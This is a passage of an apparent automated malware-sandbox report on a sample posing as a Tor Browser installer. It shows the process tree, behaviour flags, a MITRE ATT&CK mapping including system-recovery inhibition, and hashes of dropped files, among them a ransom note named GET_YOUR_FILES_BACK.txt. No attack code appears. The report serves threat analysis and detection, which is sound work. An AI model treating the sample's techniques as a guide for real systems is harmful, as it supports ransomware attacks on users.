- Suspicious use of SetWindowsHookEx
PID:35184

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:35592
- C:\Users\Admin\Downloads\tor-browser-windows-x86_64-portable-13.5.1.exe
  "C:\Users\Admin\Downloads\tor-browser-windows-x86_64-portable-13.5.1.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:38204
- - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
    "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:41284
  - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
      "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Checks whether UAC is enabled
      Checks processor information in registry
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:41344
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.0.531426306\613123096" -parentBuildID 20240708120000 -prefsHandle 1612 -prefMapHandle 1684 -prefsLen 19245 -prefMapSize 240456 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {dc59656d-a9f5-485c-8977-790586e3aa96} 41344 gpu
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:42872
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.1.1331775198\941898307" -childID 1 -isForBrowser -prefsHandle 2596 -prefMapHandle 2592 -prefsLen 20168 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {5f28eb96-618e-4160-b19a-002a0814b918} 41344 tab
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:43476
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Tor\tor.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Tor\tor.exe" -f "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc" DataDirectory "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor" ClientOnionAuthDir "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\onion-auth" --defaults-torrc "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc-defaults" GeoIPFile "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip" GeoIPv6File "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6" +__ControlPort 127.0.0.1:9151 HashedControlPassword 16:e655213e02133b746061d5c3560db0b921b47adee5663aedb6fae967eb +__SocksPort "127.0.0.1:9150 ExtendedErrors IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth" __OwningControllerProcess 41344 DisableNetwork 1
        5⤵
        Executes dropped EXE
        
        PID:43724
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.2.2088270281\778094298" -childID 2 -isForBrowser -prefsHandle 3008 -prefMapHandle 3004 -prefsLen 20940 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {ec9fd502-2f33-4521-964f-d8ee69a51472} 41344 tab
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:43732
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.3.541147275\354249672" -childID 3 -isForBrowser -prefsHandle 2948 -prefMapHandle 3100 -prefsLen 21054 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {37b1b495-9f9b-4276-baf6-f7d23419657c} 41344 tab
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:44060
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.4.484076355\1196957539" -parentBuildID 20240708120000 -prefsHandle 2576 -prefMapHandle 3076 -prefsLen 22493 -prefMapSize 240456 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {8c3aff49-c056-4996-a698-8cb1ed03fe39} 41344 rdd
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:45048
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.5.1184537501\2052910883" -childID 4 -isForBrowser -prefsHandle 3792 -prefMapHandle 3780 -prefsLen 22309 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {077681ba-9a76-4769-9130-fc70656291c1} 41344 tab
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:45772
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.6.2059950229\336411858" -childID 5 -isForBrowser -prefsHandle 3988 -prefMapHandle 3992 -prefsLen 22309 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {18daecbb-a213-4808-ad07-b6a206c80af1} 41344 tab
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:45828
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.7.1566723235\1294953228" -childID 6 -isForBrowser -prefsHandle 4164 -prefMapHandle 4168 -prefsLen 22309 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {77d20daf-398c-46e6-af29-1b71ab3cfda1} 41344 tab
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        
        PID:39956
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.8.206619029\552789061" -childID 7 -isForBrowser -prefsHandle 1576 -prefMapHandle 1484 -prefsLen 22588 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {8026d01d-4363-46f2-bbb5-fad891039ed1} 41344 tab
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:40112
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.9.807606311\2009190042" -childID 8 -isForBrowser -prefsHandle 3100 -prefMapHandle 2408 -prefsLen 24870 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {e0b723be-c0d7-4adb-b6ce-b025a783ddee} 41344 tab
        5⤵
        Executes dropped EXE
        
        PID:41492
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.10.1386455322\1540882547" -childID 9 -isForBrowser -prefsHandle 4200 -prefMapHandle 4672 -prefsLen 22910 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {78304eb8-4d88-4215-a057-ab391bc1420c} 41344 tab
        5⤵
        Executes dropped EXE
        
        PID:45016
    - - C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
        
        "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel="41344.11.2092397543\335211911" -childID 10 -isForBrowser -prefsHandle 3864 -prefMapHandle 3852 -prefsLen 22910 -prefMapSize 240456 -jsInitHandle 1100 -jsInitLen 240916 -parentBuildID 20240708120000 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {b92e2c02-6232-496a-92ec-b7df97ffa0e8} 41344 tab
        5⤵
        Executes dropped EXE
        
        PID:8232

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:36628

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:36888

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:37500

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:37772

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:38076

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:30168

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:29144

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:28736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
6d81ed40ba0a283e5483bfe6a448e9d7

SHA1
0c847a5f9df743b13e1aa11b4c24a4309e9a7119

SHA256
b4464f61655ca584170694bedd52c6cff2b74c18a761b33cfb1387f017d2d57d

SHA512
8956415f155f24852ac672aa06cc6a8819a2a0e44a9b940f8f3390c34ebb43ff10f4635722f104a5a9a94098d3f286362f507dc49d3f048e540f48c073eaf379

Download Submit
C:\Program Files\Google\Chrome\Application\debug.log

Filesize
174B

MD5
857268079729f658a403ae73c922e177

SHA1
89e0576cd2b0202b7b3a551d0d53cd0fa10ec27a

SHA256
41e0c4174beb540eedf7b098ea6b640c8d44efaa343011e8b043d348c713a771

SHA512
0858bcbfbc056c2d173f375fb31b90501e78478b77c950941d8b059616b8efd102f91be4e65c29f10093313dd2d4a9b0ed47d165cf7728622ae0427c45f4728c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\metadata

Filesize
114B

MD5
7cdf0b463a911bd9e27c92bd2aa330cf

SHA1
9cff15095b69cffff11228dfbd42433d10f1eff7

SHA256
f0586126b0aa3aa7ea6b6fd1a879c7ceed8d0e3715e8c530b4738e566abdbbd3

SHA512
08ee25f3fbc3c233b6781288d88e8691046328de3b4a3b484404ed5e401ef3f93f5d52fc70b82656ce790ebc648fa5b7a9bcd55f7f67580b573d3ae51213e008

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\reports\486eb73d-5396-4db0-84bc-f4e2b31f8367.dmp

Filesize
122KB

MD5
1e5f117dc138cd0ea29467a598d33abd

SHA1
bb9482597fc2ab30db859cdea68ffc919c2105f3

SHA256
a2df8852b08e58448e629826554f7179519f87a89fcfe8878b8ece68c419f955

SHA512
1bb8becbfad5b5967d49561fd86c0741680df2ca2187e750d7be6ab43515b476f81443965f7e05d3ed1188cc8fb9377ffa5abe25f73f4b019a16a9389ce784a9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Filesize
40B

MD5
c86640aaa33658aa24db5a9e946108b5

SHA1
42a8819c961a6db7e165a84bab0781ef72e71d81

SHA256
bad1ea3662cf7bbc1c20e838088b1b20eb1cdc6060eff54f7513c67a6bfd0717

SHA512
5fea5255ffee9a38d99ff112b0ccadccc5c08458ba90d91655a92bbfdb83d921188bd1952893c934467d211b10e6b9f89ae8b4a5fe1a3db1124641f86897fc83

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
5d574dc518025fad52b7886c1bff0e13

SHA1
68217a5f9e9a64ca8fed9eefa4171786a8f9f8f7

SHA256
755c4768f6e384030805284ab88689a325431667e9ab11d9aeaa55e9739742f2

SHA512
21de152e07d269b265dae58d46e8c68a3268b2f78d771d4fc44377a14e0c6e73aadae923dcfd34ce2ef53c2eaa53d4df8f281d9b8a627edee213946c9ef37d13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\OHP8MVFQ\edgecompatviewlist[1].xml

Filesize
74KB

MD5
d4fc49dc14f63895d997fa4940f24378

SHA1
3efb1437a7c5e46034147cbbc8db017c69d02c31

SHA256
853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

SHA512
cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7ba103555f0545138cd5ce53da615bbe

SHA1
ee8cd4c15b9c8b93bee69e7849ea202578959d8d

SHA256
168c15e664319b0197e1514dffbc9a0905df866a0fe76514087cac335cc54c6f

SHA512
7fad8a575272f315ec0b9d4cdb27897848e4ec7cc05b47d8afddfb56cbbc9c6263a41fa2b655bede72b88ece93dd7161aadb751aac13f1112b9ff597353bde91

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\3L9N2KWT\SourceSansPro-Bold[1].ttf

Filesize
284KB

MD5
0d9b62a03206f739cd34b2936a5929f1

SHA1
f5cad74e9791d2ef725f9ff5d53216cfff4f3678

SHA256
da4f442e66843990825ed4757e27ad3442cad83f9844cc503e8ece85e00f77f2

SHA512
d3738085d8f4891bf1a475a52108a4298b07c8959100e32d1c79038af8b39c182e45fb9d531dd75f7bd2a514d70cf808649dce83d3558be236c74160923ff794

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\3L9N2KWT\all.min[1].css

Filesize
52KB

MD5
b8085bf2c839791244bd95f56fb93c01

SHA1
9d272f6a226adc587b4c3e470cc146edd8c92f75

SHA256
453893f7daa3d8fe9716f8c6d0f36f8ade8cacfc0093e164f4f998b46427959e

SHA512
071423c79d846bfb1a9ca8c9e36e8f021c5027804f7da86249bfe886d67622982b739c326934a04f03e1859ff10baeafbe0f8de2aa030f58f455c240a814e385

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\3L9N2KWT\bootstrap[1].css

Filesize
166KB

MD5
cfdae4e5800656dfdf24193b3f80fcc8

SHA1
2122cf07b24310951c4b8ed92290b652f241c538

SHA256
7e50c709b7734d4454f54e4a93e0e8f15f9cc9aceecc59f95148e899e36777b2

SHA512
be3c5a8ee12e79e26adc91ae688b2185f090de5bc2b2116461e2511c98da8baee4f4e0ea0bda1a2f7e9e6c3a336f02d0b3cf14d47fc8d9a9a13a1d6fd54e690b

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\3L9N2KWT\fa-solid-900[1].woff2

Filesize
77KB

MD5
59ea9019c9b9bc4d83ab9783e830735c

SHA1
fa1fcc52e59615a6f131b9b2eff1638f0138c617

SHA256
08aa3a5ee68a21d5771a70b20495b6da1c0f996c46982cd1b0447ad2db730d11

SHA512
249751e78e98a0821fa44e9ee3da335f6f48b02c50caba94ffb99ca6fde2d730d10f1ecf17e37feec359bf18b82419c1c8a27c47f66314539e2180527cba162c

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\3L9N2KWT\fallback[1].js

Filesize
1015B

MD5
973fa23c86e39f3f80f2bcca267bd68a

SHA1
8a716acdcd9bea3152ad58300e8fa4b3def399a0

SHA256
154b6384fd1042f3c7469da149e57c750ffab7ee4b875384b6fd3e97744a7838

SHA512
39ce6151d918d37ee29390eb422d77812444e80fab0c7041a40128710ff590f6fdff36fe85f8c78c039e41e7ef2d7156fe8efa1e7c078053b9ffea0c15b35b79

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\3L9N2KWT\scrollspy.min[1].js

Filesize
6KB

MD5
dbd2b17a490f739d502e017507d1fdd1

SHA1
0267413204b930bc48034612eecacf89864ddd93

SHA256
1357558a930a31b2e6586c19889f937768c8812090f0f93bfc79e169fbf20f80

SHA512
8d45a2c4cfbbd6d1bd0c2a6770364458a9e2abeb0ace38453947dbf17665812d1767c6ec5bab5f5cc9fa584364dec4be4df4aa2af5692bf7982a36e6fe7cad10

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\CJM3DY53\bootstrap.bundle.min[1].js

Filesize
67KB

MD5
85bef1b86b877db4b17ea8bae3eb7cd3

SHA1
46d1f82f1ff4224130c6153a8a6db457477b7097

SHA256
4490f15bcd903912985c78ba0b1d4abbc94f7eec240c8050685676d071b13d74

SHA512
88ae341fa16b5cc6b8558e88eb2d8c1e7cc309c3226cf403de6c13ff7fbb33562b916e2ebd32c31338c5bdad1cd2acae11b586ff5de86c0e9b2289886b249d71

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\CJM3DY53\fa-brands-400[1].woff2

Filesize
72KB

MD5
f80b8a05dd76fdb40e630f1e90b1303d

SHA1
f0c73d76528b9b7b431f3e03be99438d713e6e0c

SHA256
c885e9f2017a2ed7075db9e876d40a04aa3208114443803bdb120a34afd3b1d6

SHA512
36b9d728f33f845337e9f8369527dff7f29bf70aef5e4440b0fe9647f45cf10a2a11af57d191ebf1c8b17817315393032cb5738f9262275a0d87ca58e3b12a62

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\CJM3DY53\fa-regular-400[1].woff2

Filesize
14KB

MD5
569693c9f5d42d769c7f87b90856219a

SHA1
34c6434ec4b8b05956b90d245ca9c79e7d5ad90c

SHA256
e5c1d9e7bdeaf3372dee724d175d25aca879ed52ae9afd018f503e9d74e09b50

SHA512
b026cfa61fe58cb3e9f29283ee5bc654411f9e00f9d29d10da325c3961ce378dcbed9877b262521fc2f8342a970a2566c90fe5bded4f94a54bb47818331f26d5

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\TV9Z38NC\SourceSansPro-Light[1].ttf

Filesize
285KB

MD5
ee2a11b8055d665afd2ac1d818683ffe

SHA1
005ef2958f43952ec1e46ae010427cde7914ce2c

SHA256
5705ecafdaa64d8af74d0c03f89272a65cfee9f7e62b55016a8dcbe4a69b6f86

SHA512
2e9fd0558717b954ee73848c95c7f5495f4c907192ba33c2f2a615621dc9174a3f544e44cbdb086716b48b993b724e81484305eebf0c69666ea48919e3476e3f

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\TV9Z38NC\SourceSansPro-Regular[1].ttf

Filesize
286KB

MD5
5182da425f811908bed9f5b8c72fa44f

SHA1
17c25475c0369f7f8c8462af9cf127a4cf6f1332

SHA256
71d10a86b4c54a5a9c0c8b467e53ac67d79edb96c956e4e9f65a7074dfb9992a

SHA512
cf37ee1e2c3574de5819e5c5328ee010832987750a3cdc0bc43f102c3bdafd3993a9984c8d51f66b18198e80049c0323fa2f8f692025d8947f9580eda6a7a5b2

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\TV9Z38NC\download[1].js

Filesize
431B

MD5
b70b1ed7c4c41f09b4cf0d194a4c0940

SHA1
caaadf8f271ea9283a28627a86bde3bff2b7db5c

SHA256
b4c2495baebb13c22b9907aa12cd7a0dd75418c530693dd99b5f337efda705ac

SHA512
1e422378ac30ce2a4f76bad432a796ed47e12be00cadd843e7330d0cb42d09994badc4292378aa52851f814f48a21ba538f70cdf28513062bfa50ef7750570ae

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\U0578EN3\jquery-3.2.1.min[1].js

Filesize
84KB

MD5
c9f5aeeca3ad37bf2aa006139b935f0a

SHA1
1055018c28ab41087ef9ccefe411606893dabea2

SHA256
87083882cc6015984eb0411a99d3981817f5dc5c90ba24f0940420c5548d82de

SHA512
dcff2b5c2b8625d3593a7531ff4ddcd633939cc9f7acfeb79c18a9e6038fdaa99487960075502f159d44f902d965b0b5aed32b41bfa66a1dc07d85b5d5152b58

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\U0578EN3\modernizr[1].js

Filesize
3KB

MD5
625b8b4c0aaf7e062c742064e3b153a9

SHA1
9a7f06095cca8ec31eea70538e36511709c611f6

SHA256
27ea70b9bbf44277d19309f8361399fcfbba338e798c4d809c3b7f3595676667

SHA512
c759ecbc60d0241bde7fd08c9c5fb93e5956503066caff384a14cb9081d503cbb341bcb15c68dc32d3e979050f4c71d7bb1bfe9faf8415feb1e3b0518da34eb8

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\U0578EN3\popper.min[1].js

Filesize
18KB

MD5
6cd956453e307bfd2ce4bfb0648b9f7d

SHA1
a43367193adc1258902e5b68ad0cda6cf0f9ff8f

SHA256
625b022a42ed5d9c39911e42050f4fd9834ea039af978b7716f7800ade95eb55

SHA512
424b469ed5023a9a7ddbb28cd6b6ed10310da52c7089e656a5dba723be520aca5f43ad5b6749147fc8dd712c77a17f907ec58a52900515c02352b423f1abee4d

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\GA25HA0A\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\XWGHXGST\favicon[1].ico

Filesize
4KB

MD5
d7c21b4951bd432d06f0059c63130f19

SHA1
4e4ad2cec14a4b7c95162c247a7c7ca5621e6569

SHA256
7c2a800bab2c088ba8a7af287d440433bca2bc880be2fd3eecf6ad7aa90a075f

SHA512
09b185aa070f8cbb54ae5a4b49ea3e1208212caf2d8f76c05a651381f470b91345e13ee2e94e73ca35db14493d702f4c1ca5b8732cabd1cd2e689a8cd667fbd3

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
4KB

MD5
1bfe591a4fe3d91b03cdf26eaacd8f89

SHA1
719c37c320f518ac168c86723724891950911cea

SHA256
9cf94355051bf0f4a45724ca20d1cc02f76371b963ab7d1e38bd8997737b13d8

SHA512
02f88da4b610678c31664609bcfa9d61db8d0b0617649981af948f670f41a6207b4ec19fecce7385a24e0c609cbbf3f2b79a8acaf09a03c2c432cc4dce75e9db

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\Temp\~DFA99612142EAB69B5.TMP

Filesize
16KB

MD5
691fadf863f1b398d80e980dbecb3257

SHA1
8f361172ae8cac5bf676f8de1529890c05d18e0e

SHA256
cc2a1159923c2d9ed37804b721eb6fa50332b3f067dd6fff59a7e7f17f406c51

SHA512
300c4d47deeed59931c38f54134bd10bc81633f628a21bd788d85ec509df17b80da3a0855fa18d5f56ddacbe1b266e4127e31d308dc16f58f98c654182ee3b9d

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cache\U0578EN3\tor-browser-windows-x86_64-portable-13.5.1[1].exe

Filesize
15KB

MD5
6fcaba7f23863449194e87d13122cf02

SHA1
c55b245a5531d66333194270859fec7b51ef231e

SHA256
88cbfdc09d2898cc30bd52d5b9b2cf174b6a2f80e21fd0c3b6a88ab3ef2f7495

SHA512
285cb490946bdd9872aca1a4993c6034b4b21c2232b7e546d658b99b136285850a542ff1ca081d284acc63d401dc3ab4d0b2669f29329c5fd0df8b8c933795c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q1yhkjja.1s2.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp-14r.xpi

Filesize
932KB

MD5
251150b67c4a694555ecd4a6bdcf5993

SHA1
92b571569aa6c265a6dcf715c04de50bacf712a4

SHA256
b22c007534471a8fb74378e970ba79a536a44f88d81ad3852273b82a466d10c7

